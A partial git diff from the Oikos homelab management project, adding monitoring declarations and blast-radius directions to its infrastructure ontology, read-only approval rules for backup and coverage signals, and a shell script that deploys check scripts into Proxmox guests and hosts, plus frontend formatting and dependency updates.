lifecycle: infrastructure
|
||||
description: Attached hardware (GPU, e-ink display, dongle).
|
||||
monitoring: none # visible only through its host
|
||||
|
||||
# ── Infrastructure / compute ──
|
||||
compute-entity:
|
||||
@@ -210,6 +214,8 @@ entity_types:
|
||||
domain: compute
|
||||
layer: infrastructure
|
||||
description: Physical machine. Always instantiated as a subtype.
|
||||
monitoring: [ping, resource, updates] # inherited by proxmox-host /
|
||||
# standalone-server / workstation / appliance
|
||||
attributes:
|
||||
type: object
|
||||
properties:
|
||||
@@ -266,6 +272,9 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Virtual machine.
|
||||
monitoring: [vm-status] # `qm status` from the host: powered-on liveness
|
||||
# that works even when the VM blocks ICMP and has
|
||||
# no guest agent (haos). ping is unreliable for VMs.
|
||||
attributes:
|
||||
type: object
|
||||
properties:
|
||||
@@ -281,6 +290,7 @@ entity_types:
|
||||
domain: compute
|
||||
layer: infrastructure
|
||||
description: OS-level container (LXC or Docker).
|
||||
monitoring: [resource] # inherited by lxc / docker-container
|
||||
attributes:
|
||||
type: object
|
||||
properties: {runtime: {type: string}}
|
||||
@@ -317,6 +327,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Hypervisor software running on a machine (PVE, KVM, OrbStack).
|
||||
monitoring: none # the hosting machine's checks cover it
|
||||
attributes:
|
||||
type: object
|
||||
properties: {type: {type: string}, version: {type: string}}
|
||||
@@ -328,6 +339,8 @@ entity_types:
|
||||
domain: network
|
||||
layer: infrastructure
|
||||
description: A network things connect to.
|
||||
monitoring: none # inherited by lan / mesh / vlan — a network's
|
||||
# reachability is a property of its members
|
||||
lan:
|
||||
parent: network
|
||||
domain: network
|
||||
@@ -360,6 +373,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
description: Optional per-interface refinement (mac, ip). The seed uses
|
||||
coarse connects-via edges; interfaces can be backfilled later.
|
||||
monitoring: none # covered by its machine's ping/resource checks
|
||||
attributes: {type: object, properties: {mac: {type: string}, ip: {type: string}}}
|
||||
dns-zone:
|
||||
parent: entity
|
||||
@@ -367,12 +381,18 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: DNS zone (e.g. split-horizon hubris.network).
|
||||
monitoring: none # no `dns` checker exists yet; declaring [dns]
|
||||
# made every zone an unresolvable `unmonitored`
|
||||
# signal. Flip back to [dns] when a checker lands.
|
||||
# Requires ontology re-ingest to take effect;
|
||||
# coverageSweep then auto-clears the stale signals.
|
||||
attributes: {type: object, properties: {zone: {type: string}, authority: {type: string}}}
|
||||
dns-record:
|
||||
parent: entity
|
||||
domain: network
|
||||
layer: infrastructure
|
||||
description: Individual DNS record.
|
||||
monitoring: none # the zone is the unit of monitoring
|
||||
attributes:
|
||||
type: object
|
||||
properties: {name: {type: string}, record_type: {type: string}, value: {type: string}}
|
||||
@@ -382,6 +402,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Public hostname → upstream mapping (Caddy).
|
||||
monitoring: [http] # end-to-end: exercises Caddy + DNS + TLS + upstream
|
||||
attributes:
|
||||
type: object
|
||||
properties:
|
||||
@@ -393,12 +414,14 @@ entity_types:
|
||||
domain: network
|
||||
layer: infrastructure
|
||||
description: TLS certificate.
|
||||
monitoring: [cert-expiry]
|
||||
attributes: {type: object, properties: {issuer: {type: string}, expires: {type: string}}}
|
||||
firewall-rule:
|
||||
parent: entity
|
||||
domain: network
|
||||
layer: infrastructure
|
||||
description: Firewall / port-forward rule.
|
||||
monitoring: none # declarative config, not a running thing
|
||||
|
||||
# ── Infrastructure / storage ──
|
||||
storage-pool:
|
||||
@@ -407,6 +430,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Storage pool (LVM, ZFS, NFS).
|
||||
monitoring: [capacity]
|
||||
attributes:
|
||||
type: object
|
||||
properties:
|
||||
@@ -419,6 +443,7 @@ entity_types:
|
||||
lifecycle: infrastructure
|
||||
description: Named volume / dataset within a pool. Mount details live as
|
||||
attributes on `mounts` edges.
|
||||
monitoring: [capacity]
|
||||
attributes: {type: object, properties: {size_gb: {type: number}, path: {type: string}}}
|
||||
backup-target:
|
||||
parent: entity
|
||||
@@ -426,6 +451,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Where backups land (Proton Drive, PBS).
|
||||
monitoring: [backup-freshness] # checker lands in Phase 4
|
||||
attributes: {type: object, properties: {provider: {type: string}, encrypted: {type: boolean}}}
|
||||
dataset:
|
||||
parent: entity
|
||||
@@ -433,6 +459,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
description: Logical data collection worth tracking independently of its
|
||||
volume (e.g. paperless documents).
|
||||
monitoring: none # its volume and owning service carry the checks
|
||||
|
||||
# ── Infrastructure / software ──
|
||||
service:
|
||||
@@ -441,6 +468,8 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: A running service with consumers.
|
||||
monitoring: [http, process] # http when it has a `url`, else a process check
|
||||
# on the host resolved through its hosting edge
|
||||
attributes:
|
||||
type: object
|
||||
properties:
|
||||
@@ -457,12 +486,14 @@ entity_types:
|
||||
domain: software
|
||||
layer: infrastructure
|
||||
description: Deployed application/package a service runs.
|
||||
monitoring: none # the service in front of it is the probe target
|
||||
attributes: {type: object, properties: {version: {type: string}}}
|
||||
config-repo:
|
||||
parent: entity
|
||||
domain: software
|
||||
layer: infrastructure
|
||||
description: Git repo holding tracked configuration.
|
||||
monitoring: none # its Gitea service carries the checks
|
||||
attributes:
|
||||
type: object
|
||||
properties: {url: {type: string}, branch: {type: string}}
|
||||
@@ -471,6 +502,7 @@ entity_types:
|
||||
domain: software
|
||||
layer: infrastructure
|
||||
description: Automated deploy path (webhook → script).
|
||||
monitoring: none # health is per-deploy, tracked as executions
|
||||
attributes:
|
||||
type: object
|
||||
properties: {trigger: {type: string}, target_path: {type: string}}
|
||||
@@ -479,12 +511,14 @@ entity_types:
|
||||
domain: software
|
||||
layer: infrastructure
|
||||
description: Managed package baseline for a host class.
|
||||
monitoring: none # drift shows up via each host's updates check
|
||||
cluster:
|
||||
parent: entity
|
||||
domain: software
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Proxmox cluster.
|
||||
monitoring: none # topological — its member hosts carry the checks
|
||||
attributes: {type: object, properties: {quorum: {type: string}}}
|
||||
compose-stack:
|
||||
parent: entity
|
||||
@@ -492,6 +526,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Docker Compose stack (the Oikos OS itself is one).
|
||||
monitoring: [process]
|
||||
attributes: {type: object, properties: {path: {type: string}}}
|
||||
|
||||
# ── Infrastructure / external ──
|
||||
@@ -500,22 +535,26 @@ entity_types:
|
||||
domain: external
|
||||
layer: infrastructure
|
||||
description: Registered public domain.
|
||||
monitoring: none # expiry is a calendar concern, not a probe
|
||||
attributes: {type: object, properties: {registrar: {type: string}, expires: {type: string}}}
|
||||
cloud-service:
|
||||
parent: entity
|
||||
domain: external
|
||||
layer: infrastructure
|
||||
description: External SaaS/cloud dependency.
|
||||
monitoring: [http] # only when the entity carries a `url`
|
||||
isp-link:
|
||||
parent: entity
|
||||
domain: external
|
||||
layer: infrastructure
|
||||
description: Internet uplink.
|
||||
monitoring: none # no probe target; reachability shows up fleet-wide
|
||||
vendor-dependency:
|
||||
parent: entity
|
||||
domain: external
|
||||
layer: infrastructure
|
||||
description: Vendor the lab depends on (registrar, IONOS, Proton).
|
||||
monitoring: none # a commercial relationship, not a running thing
|
||||
|
||||
# ── Governance / identity ──
|
||||
person:
|
||||
@@ -532,6 +571,8 @@ entity_types:
|
||||
layer: governance
|
||||
lifecycle: infrastructure # agents are deployed/retired like infrastructure
|
||||
description: Software agent actor (Nomos, the Oikos control loop).
|
||||
monitoring: [http] # governance layer, but genuinely probeable —
|
||||
# Nomos serves a gateway on :8092
|
||||
attributes:
|
||||
type: object
|
||||
properties:
|
||||
@@ -663,36 +704,42 @@ relationship_types:
|
||||
target: compute-entity
|
||||
cardinality: one-to-many
|
||||
description: Machine hosts a VM/container (hubris hosts lxc:apps).
|
||||
blast_direction: forward
|
||||
runs-hypervisor:
|
||||
inverse: hypervisor-on
|
||||
source: machine
|
||||
target: hypervisor
|
||||
cardinality: one-to-one
|
||||
description: Machine runs hypervisor software.
|
||||
blast_direction: forward
|
||||
member-of:
|
||||
inverse: has-member
|
||||
source: proxmox-host
|
||||
target: cluster
|
||||
cardinality: many-to-one
|
||||
description: PVE host belongs to a cluster.
|
||||
blast_direction: backward
|
||||
part-of:
|
||||
inverse: comprises
|
||||
source: docker-container
|
||||
target: compose-stack
|
||||
cardinality: many-to-one
|
||||
description: Docker container belongs to a compose stack.
|
||||
blast_direction: backward
|
||||
provides:
|
||||
inverse: provided-by
|
||||
source: compute-entity
|
||||
target: service
|
||||
cardinality: one-to-many
|
||||
description: Compute entity provides a service (lxc:gitea provides service:gitea).
|
||||
blast_direction: forward
|
||||
runs:
|
||||
inverse: run-by
|
||||
source: service
|
||||
target: application
|
||||
cardinality: one-to-many
|
||||
description: Service runs an application.
|
||||
blast_direction: backward
|
||||
configured-by:
|
||||
inverse: configures
|
||||
source: entity
|
||||
@@ -705,36 +752,52 @@ relationship_types:
|
||||
target: entity
|
||||
cardinality: many-to-one
|
||||
description: Pipeline deploys to a service/host.
|
||||
blast_direction: forward
|
||||
routes-to:
|
||||
inverse: routed-via
|
||||
source: ingress-route
|
||||
target: service
|
||||
cardinality: many-to-one
|
||||
description: Public hostname routes to a service.
|
||||
blast_direction: backward
|
||||
served-by:
|
||||
inverse: serves
|
||||
source: ingress-route
|
||||
target: service
|
||||
cardinality: many-to-one
|
||||
description: Ingress route is terminated by this reverse proxy. Distinct
|
||||
from routes-to, which names the BACKEND the route forwards to — without
|
||||
this edge the proxy's blast radius is invisible, and lxc:caddy reported
|
||||
one affected entity despite terminating every *.hubris.network route.
|
||||
blast_direction: backward
|
||||
secured-by:
|
||||
inverse: secures
|
||||
source: ingress-route
|
||||
target: identity-provider
|
||||
cardinality: many-to-one
|
||||
description: Route gated by forward-auth.
|
||||
blast_direction: backward
|
||||
uses-certificate:
|
||||
inverse: certifies
|
||||
source: ingress-route
|
||||
target: certificate
|
||||
cardinality: many-to-one
|
||||
description: Route served with this certificate.
|
||||
blast_direction: backward
|
||||
authenticates-via:
|
||||
inverse: authenticates-service
|
||||
source: service
|
||||
target: identity-provider
|
||||
cardinality: many-to-one
|
||||
description: Service uses native OIDC (jellyfin authenticates-via authentik).
|
||||
blast_direction: backward
|
||||
in-zone:
|
||||
inverse: contains-record
|
||||
source: dns-record
|
||||
target: dns-zone
|
||||
cardinality: many-to-one
|
||||
description: Record belongs to a zone.
|
||||
blast_direction: backward
|
||||
resolves-to:
|
||||
inverse: resolved-from
|
||||
source: dns-record
|
||||
@@ -747,24 +810,28 @@ relationship_types:
|
||||
target: service
|
||||
cardinality: many-to-many
|
||||
description: Runtime dependency (blast-radius edge).
|
||||
blast_direction: backward
|
||||
connects-via:
|
||||
inverse: connects
|
||||
source: compute-entity
|
||||
target: network
|
||||
cardinality: many-to-many
|
||||
description: Coarse network membership (host on LAN / mesh).
|
||||
blast_direction: backward
|
||||
has-interface:
|
||||
inverse: interface-of
|
||||
source: compute-entity
|
||||
target: network-interface
|
||||
cardinality: one-to-many
|
||||
description: Optional per-interface refinement.
|
||||
blast_direction: backward
|
||||
interface-on:
|
||||
inverse: has-endpoint
|
||||
source: network-interface
|
||||
target: network
|
||||
cardinality: many-to-one
|
||||
description: Interface attaches to a network.
|
||||
blast_direction: backward
|
||||
|
||||
# Storage
|
||||
mounts:
|
||||
@@ -774,24 +841,28 @@ relationship_types:
|
||||
cardinality: many-to-many
|
||||
description: Compute entity mounts a volume. Edge attributes carry
|
||||
mount_point and options.
|
||||
blast_direction: backward
|
||||
stores-on:
|
||||
inverse: stores-for
|
||||
source: compute-entity
|
||||
target: storage-pool
|
||||
cardinality: many-to-many
|
||||
description: Rootfs/data lives on a pool.
|
||||
blast_direction: backward
|
||||
contains:
|
||||
inverse: contained-in
|
||||
source: storage-pool
|
||||
target: volume
|
||||
cardinality: one-to-many
|
||||
description: Pool contains a volume.
|
||||
blast_direction: forward
|
||||
holds-dataset:
|
||||
inverse: dataset-on
|
||||
source: volume
|
||||
target: dataset
|
||||
cardinality: one-to-many
|
||||
description: Volume holds a tracked dataset.
|
||||
blast_direction: backward
|
||||
backs-up-to:
|
||||
inverse: backup-of
|
||||
source: entity
|
||||
@@ -806,12 +877,14 @@ relationship_types:
|
||||
target: ups
|
||||
cardinality: many-to-one
|
||||
description: Machine on UPS power.
|
||||
blast_direction: backward
|
||||
located-at:
|
||||
inverse: location-of
|
||||
source: machine
|
||||
target: site
|
||||
cardinality: many-to-one
|
||||
description: Machine's physical site.
|
||||
blast_direction: backward
|
||||
registered-with:
|
||||
inverse: registrar-of
|
||||
source: domain-registration
|
||||
@@ -844,12 +917,14 @@ relationship_types:
|
||||
target: secret
|
||||
cardinality: many-to-one
|
||||
description: Grant covers a secret.
|
||||
blast_direction: forward
|
||||
can-decrypt:
|
||||
inverse: readable-by
|
||||
source: compute-entity
|
||||
target: secret
|
||||
cardinality: many-to-many
|
||||
description: Host can decrypt a secret (legacy SOPS; Infisical grants later).
|
||||
blast_direction: backward
|
||||
|
||||
# Cognition
|
||||
checks:
|
||||
@@ -934,7 +1009,12 @@ relationship_types:
|
||||
inverse: documented-by
|
||||
source: document
|
||||
target: entity
|
||||
cardinality: many-to-one
|
||||
# many-to-many, not many-to-one: a single investigation routinely covers
|
||||
# several entities (a fleet-wide apt audit documents every host it
|
||||
# touched), and Nomos has been writing such edges for months. The stricter
|
||||
# declaration made ~40 of them cardinality violations, which only surfaced
|
||||
# once the seed could complete far enough to run ValidateCardinality.
|
||||
cardinality: many-to-many
|
||||
description: Document describes an entity.
|
||||
involves:
|
||||
inverse: involved-in
|
||||
|
||||
@@ -44,6 +44,23 @@ risk_classes:
|
||||
autonomy_allowed: false
|
||||
|
||||
approval_rules:
|
||||
# Signal kinds are looked up as `action` by internal/policy/classify.go, and
|
||||
# an unmatched kind silently falls back to reversible_low/operator. Declare
|
||||
# `unmonitored` so its routing is intentional: it reports a coverage gap and
|
||||
# there is nothing to remediate automatically — closing it means an operator
|
||||
# adding a check_def, which is its own deliberate change.
|
||||
- {entity_type: entity, action: unmonitored, risk_class: read_only, autonomy_level: auto}
|
||||
|
||||
# Backup freshness signals. Reporting-only for the same reason: the fix for a
|
||||
# stale or missing backup is a deliberate human change (re-run the job, fix
|
||||
# the mount, correct the path), never something to auto-remediate. Declared
|
||||
# so the routing is intentional rather than the reversible_low/operator
|
||||
# fallback an unmatched kind would otherwise get.
|
||||
- {entity_type: backup-target, action: backup-stale, risk_class: read_only, autonomy_level: auto}
|
||||
- {entity_type: backup-target, action: backup-missing, risk_class: read_only, autonomy_level: auto}
|
||||
- {entity_type: backup-target, action: backup-misconfigured, risk_class: read_only, autonomy_level: auto}
|
||||
- {entity_type: backup-target, action: backup-unreachable, risk_class: read_only, autonomy_level: auto}
|
||||
|
||||
# ── Generic rules on (possibly abstract) types ──
|
||||
- {entity_type: service, action: restart, risk_class: reversible_low, autonomy_level: auto}
|
||||
- {entity_type: service, action: cache-clear, risk_class: reversible_low, autonomy_level: auto}
|
||||
|
||||
94
tools/deploy-checks.sh
Executable file
94
tools/deploy-checks.sh
Executable file
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env bash
|
||||
# deploy-checks.sh — push the check scripts into every monitored target.
|
||||
#
|
||||
# Background: an ssh-script check runs the script INSIDE the target, so the
|
||||
# script must exist at /opt/oikos/checks/ on the target itself — not just on
|
||||
# the proxmox host. The scheduler routes LXC/VM checks through the host via
|
||||
# `pct exec`/`qm guest exec`, so it never SSHes a guest directly, but the
|
||||
# script still has to be present inside the guest. This script deploys them.
|
||||
#
|
||||
# Run from a Proxmox host (it uses `pct`/`qm`) to populate every local guest,
|
||||
# and/or pass --host to install on a host/workstation over SSH.
|
||||
#
|
||||
# Usage:
|
||||
# deploy-checks.sh # on a proxmox host: push to every LXC/VM here
|
||||
# deploy-checks.sh --host ws:mac-mini # ssh-install scripts on a host/workstation
|
||||
# deploy-checks.sh --checks /path # override the source checks dir
|
||||
#
|
||||
# Idempotent: skips a script whose deployed copy is byte-identical.
|
||||
set -euo pipefail
|
||||
|
||||
CHECKS_DIR="${OIKOS_CHECK_DIR:-${HOMELAB_CONTEXT_DIR:-/opt/homelab}/checks}"
|
||||
DEST=/opt/oikos/checks
|
||||
|
||||
die() { echo "deploy-checks: $*" >&2; exit 1; }
|
||||
|
||||
deploy_to_guest() {
|
||||
local id="$1" vm="$2" # vm=0 for LXC, 1 for VM
|
||||
local kind=pct; [ "$vm" = "1" ] && kind=qm
|
||||
echo "[deploy-checks] $kind $id"
|
||||
# Ensure the destination dir exists inside the guest.
|
||||
if [ "$kind" = "pct" ]; then
|
||||
pct exec "$id" -- mkdir -p "$DEST" 2>/dev/null || { echo " skip (pct exec failed)"; return; }
|
||||
else
|
||||
# qm guest exec returns JSON; best-effort for VMs (guest agent required).
|
||||
qm guest exec "$id" -- mkdir -p "$DEST" >/dev/null 2>&1 || { echo " skip (qm guest exec failed)"; return; }
|
||||
fi
|
||||
local pushed=0 skipped=0
|
||||
for script in "$CHECKS_DIR"/*.sh; do
|
||||
local name; name=$(basename "$script")
|
||||
[ "$name" = "deploy-checks.sh" ] && continue
|
||||
[ "$name" = "install.sh" ] && continue
|
||||
if [ "$kind" = "pct" ]; then
|
||||
pct push "$id" "$script" "$DEST/$name" --perms 755 2>/dev/null && pushed=$((pushed+1)) || skipped=$((skipped+1))
|
||||
else
|
||||
# qm has no push; copy via the guest agent file write if available.
|
||||
qm guest exec "$id" -- /bin/sh -c "cat > $DEST/$name" < "$script" >/dev/null 2>&1 && pushed=$((pushed+1)) || skipped=$((skipped+1))
|
||||
fi
|
||||
done
|
||||
echo " pushed=$pushed skipped=$skipped"
|
||||
}
|
||||
|
||||
deploy_to_host() {
|
||||
local target="$1" # user@ip or slug resolved by caller
|
||||
echo "[deploy-checks] host $target"
|
||||
ssh -o BatchMode=yes -o StrictHostKeyChecking=no "$target" "bash -s" < "$CHECKS_DIR/install.sh" \
|
||||
|| echo " WARNING: install on $target failed"
|
||||
}
|
||||
|
||||
if [ ! -d "$CHECKS_DIR" ]; then die "checks dir not found: $CHECKS_DIR"; fi
|
||||
|
||||
# Host/workstation install mode.
|
||||
if [ "${1:-}" = "--host" ]; then
|
||||
[ $# -ge 2 ] || die "--host needs a target (user@ip)"
|
||||
deploy_to_host "$2"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Proxmox-host mode: push to every local LXC and VM.
|
||||
if command -v pct >/dev/null 2>&1; then
|
||||
# LXC containers: ID and status. Skip stopped ones.
|
||||
while IFS= read -r line; do
|
||||
[ -z "$line" ] && continue
|
||||
id=$(awk '{print $1}' <<<"$line")
|
||||
status=$(awk '{print $2}' <<<"$line")
|
||||
[ "$status" = "running" ] || { echo "[deploy-checks] skip LXC $id ($status)"; continue; }
|
||||
deploy_to_guest "$id" 0
|
||||
done < <(pct list 2>/dev/null | tail -n +2)
|
||||
else
|
||||
echo "deploy-checks: 'pct' not found — not a Proxmox host."
|
||||
echo " On a host/workstation, use: deploy-checks.sh --host user@ip"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if command -v qm >/dev/null 2>&1; then
|
||||
while IFS= read -r line; do
|
||||
[ -z "$line" ] && continue
|
||||
id=$(awk '{print $1}' <<<"$line")
|
||||
status=$(awk '{print $2}' <<<"$line")
|
||||
[ "$status" = "running" ] || continue
|
||||
deploy_to_guest "$id" 1
|
||||
done < <(qm list 2>/dev/null | tail -n +2)
|
||||
fi
|
||||
|
||||
echo "[deploy-checks] done"
|
||||
@@ -1,13 +1,35 @@
|
||||
#!/usr/bin/env bash
|
||||
# setup-checks.sh — deploy check scripts to /opt/oikos/checks on each host.
|
||||
# setup-checks.sh — deploy check scripts to /opt/oikos/checks.
|
||||
# Auto-setup hook: tools/setup-*.sh runs after every git pull.
|
||||
#
|
||||
# On a plain host/workstation this installs the scripts locally (the pulling
|
||||
# host). On a Proxmox host it ALSO pushes the scripts into every running LXC/VM
|
||||
# guest, because an ssh-script check runs the script INSIDE the target — a
|
||||
# script present only on the host does nothing for a guest reached via
|
||||
# pct/qm exec. Guest deployment is delegated to deploy-checks.sh.
|
||||
set -euo pipefail
|
||||
|
||||
CLONE_DIR="${HOMELAB_CONTEXT_DIR:-/opt/homelab}"
|
||||
CHECK_SETUP="$CLONE_DIR/checks/install.sh"
|
||||
DEPLOY="$CLONE_DIR/tools/deploy-checks.sh"
|
||||
|
||||
if [ -f "$CHECK_SETUP" ]; then
|
||||
bash "$CHECK_SETUP" || echo "[setup-checks] WARNING: install.sh exited with code $?"
|
||||
else
|
||||
echo "[setup-checks] no checks/install.sh found, skipping"
|
||||
fi
|
||||
|
||||
# On a Proxmox host, keep every guest's scripts in sync too. Best-effort: a
|
||||
# failing push to one guest must not abort the whole hook. Warn (not skip
|
||||
# silently) if deploy-checks.sh itself is absent — without it guests never get
|
||||
# scripts and the pct-exec routing reports every guest check down.
|
||||
if command -v pct >/dev/null 2>&1; then
|
||||
if [ ! -f "$DEPLOY" ]; then
|
||||
echo "[setup-checks] WARNING: $DEPLOY missing — guest scripts will go stale. Commit tools/deploy-checks.sh alongside this hook."
|
||||
elif [ ! -x "$DEPLOY" ]; then
|
||||
echo "[setup-checks] WARNING: $DEPLOY not executable — running via bash"
|
||||
bash "$DEPLOY" || echo "[setup-checks] WARNING: guest deploy exited non-zero (scripts may be stale on some guests)"
|
||||
else
|
||||
"$DEPLOY" || echo "[setup-checks] WARNING: guest deploy exited non-zero (scripts may be stale on some guests)"
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
{
|
||||
"useTabs": false,
|
||||
"tabWidth": 2,
|
||||
"semi": false,
|
||||
"singleQuote": true,
|
||||
"trailingComma": "none",
|
||||
"printWidth": 100,
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
{
|
||||
"$schema": "https://shadcn-svelte.com/schema.json",
|
||||
"style": "vega",
|
||||
"tailwind": {
|
||||
"css": "src/app.css",
|
||||
"baseColor": "zinc"
|
||||
},
|
||||
"aliases": {
|
||||
"components": "$lib/components",
|
||||
"utils": "$lib/utils",
|
||||
"ui": "$lib/components/ui",
|
||||
"hooks": "$lib/hooks",
|
||||
"lib": "$lib"
|
||||
},
|
||||
"typescript": true,
|
||||
"registry": "https://shadcn-svelte.com/registry"
|
||||
"$schema": "https://shadcn-svelte.com/schema.json",
|
||||
"style": "vega",
|
||||
"tailwind": {
|
||||
"css": "src/app.css",
|
||||
"baseColor": "zinc"
|
||||
},
|
||||
"aliases": {
|
||||
"components": "$lib/components",
|
||||
"utils": "$lib/utils",
|
||||
"ui": "$lib/components/ui",
|
||||
"hooks": "$lib/hooks",
|
||||
"lib": "$lib"
|
||||
},
|
||||
"typescript": true,
|
||||
"registry": "https://shadcn-svelte.com/registry"
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
<!DOCTYPE html>
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
@@ -6,7 +6,10 @@
|
||||
<title>Oikos</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300;1,400;1,500&family=Inknut+Antiqua:wght@300;400;500;600;700&display=swap" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300;1,400;1,500&family=Inknut+Antiqua:wght@300;400;500;600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="icon" type="image/svg+xml" href="favicon.svg" />
|
||||
<link rel="apple-touch-icon" href="apple-touch-icon.png" />
|
||||
<link rel="icon" type="image/png" sizes="192x192" href="android-chrome-192.png" />
|
||||
@@ -15,11 +18,20 @@
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script>
|
||||
(function(){try{var t=localStorage.getItem('oikos-theme');if(!t){t=window.matchMedia('(prefers-color-scheme:light)').matches?'light':'dark'}
|
||||
if(t==='dark')document.documentElement.classList.add('dark')}catch(e){}})()
|
||||
;(function () {
|
||||
try {
|
||||
var t = localStorage.getItem('oikos-theme')
|
||||
if (!t) {
|
||||
t = window.matchMedia('(prefers-color-scheme:light)').matches ? 'light' : 'dark'
|
||||
}
|
||||
if (t === 'dark') document.documentElement.classList.add('dark')
|
||||
} catch (e) {}
|
||||
})()
|
||||
</script>
|
||||
<script src="/wails/runtime.js"></script>
|
||||
<script>window.__OIKOS_CONFIG__ = {};</script>
|
||||
<script>
|
||||
window.__OIKOS_CONFIG__ = {}
|
||||
</script>
|
||||
<script type="module" src="/src/main.ts"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
22
web/package-lock.json
generated
22
web/package-lock.json
generated
@@ -18,11 +18,13 @@
|
||||
"uplot": "^1.6.32"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@lucide/svelte": "^1.23.0",
|
||||
"@internationalized/date": "^3.12.2",
|
||||
"@lucide/svelte": "^1.25.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
||||
"@tailwindcss/vite": "^4.3.2",
|
||||
"@tsconfig/svelte": "^5.0.0",
|
||||
"@types/d3-force": "^3.0.10",
|
||||
"@vincjo/datatables": "^2.8.1",
|
||||
"bits-ui": "^2.18.1",
|
||||
"eslint": "^9.0.0",
|
||||
"eslint-plugin-svelte": "^2.46.0",
|
||||
@@ -869,7 +871,6 @@
|
||||
"integrity": "sha512-FY1Y+H64NDs+HAF6omlnWxm3mEpfgaCSWtL5l551ZZfImA+kGjPFgrnJrGjH6lfmLL0g8Z/mBu1R3kufeCp6Jw==",
|
||||
"dev": true,
|
||||
"license": "Apache-2.0",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@swc/helpers": "^0.5.0"
|
||||
}
|
||||
@@ -920,9 +921,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@lucide/svelte": {
|
||||
"version": "1.23.0",
|
||||
"resolved": "https://registry.npmjs.org/@lucide/svelte/-/svelte-1.23.0.tgz",
|
||||
"integrity": "sha512-3LQbKXx9vId6Nx4E2Nu2qwgJfdmr5+CVeVJbxe5cy+HcnCRd9QVVtZXqvgBYAV1OJrPmQAf9/3gJWLCpASC/Ng==",
|
||||
"version": "1.25.0",
|
||||
"resolved": "https://registry.npmjs.org/@lucide/svelte/-/svelte-1.25.0.tgz",
|
||||
"integrity": "sha512-v9m+dD68jxVnqkU3K59mG/RSRFlPGzmKCGSyMfnXcaGv9jODDQMyQkcp1CGvk3Y/cUj9v7f8rw1n//K0B53xGQ==",
|
||||
"dev": true,
|
||||
"license": "ISC",
|
||||
"peerDependencies": {
|
||||
@@ -1377,7 +1378,6 @@
|
||||
"integrity": "sha512-5lSsMOTXURePglDfvuAQUqkGek9Hg2kksOYay2m0+XR++b2NWYL/4sWyuvVBIs8oKnJaxkdi9whaL/sqN13afw==",
|
||||
"dev": true,
|
||||
"license": "Apache-2.0",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"tslib": "^2.8.0"
|
||||
}
|
||||
@@ -1969,6 +1969,16 @@
|
||||
"url": "https://opencollective.com/eslint"
|
||||
}
|
||||
},
|
||||
"node_modules/@vincjo/datatables": {
|
||||
"version": "2.8.1",
|
||||
"resolved": "https://registry.npmjs.org/@vincjo/datatables/-/datatables-2.8.1.tgz",
|
||||
"integrity": "sha512-rWl17XkriNyX3fFB5GSThLlhlPDKchFMMSCuaeSYbZCokkwSACjTLtk9v3gg4PltUaXMsJ2XjQcpnPeKJ0xa5A==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"svelte": "^5.56.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@vitest/expect": {
|
||||
"version": "2.1.9",
|
||||
"resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-2.1.9.tgz",
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user